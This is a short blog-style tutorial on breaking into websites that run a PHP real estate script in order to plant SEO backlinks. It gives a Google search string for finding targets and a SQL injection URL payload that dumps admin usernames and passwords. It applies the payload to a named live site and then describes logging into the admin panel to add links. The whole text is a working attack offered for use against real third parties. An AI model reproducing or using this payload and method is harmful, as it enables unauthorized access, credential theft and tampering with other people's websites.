Exploiting For BackLinks #1
T0pPSuZz reported an exploit on
Milw0rm.com for the very heavily used
PHP Real Estate Script. This exploit is a simple SQL injection vulnerability that ultimately will allow you to retrieve admin login details in plain text. Once login details have been recovered, we can login to the Real Estate admin panel and add our links.
Ok, search the following in Google;
"Browse with Interactive Map"
My search returned over 2800 results. . . . drool. In this example I would recommend skipping to the 8th or 9th page of results as many of the first page listing have already been hacked, or otherwise defaced.
Below is a site running the script we are trying to exploit
The site above is a perfect example, and yes it is a real live target out there. Now the exploit works like this;
www.site.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*
so we replace
http://www.emerald-city.ca/buy.php
with
http://www.emerald-city.ca/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*
and we get the following;
As you can see the Administrator login is in plain site. Now all we have to do is login by going to /admin/ now go add some back links.
~Enjoy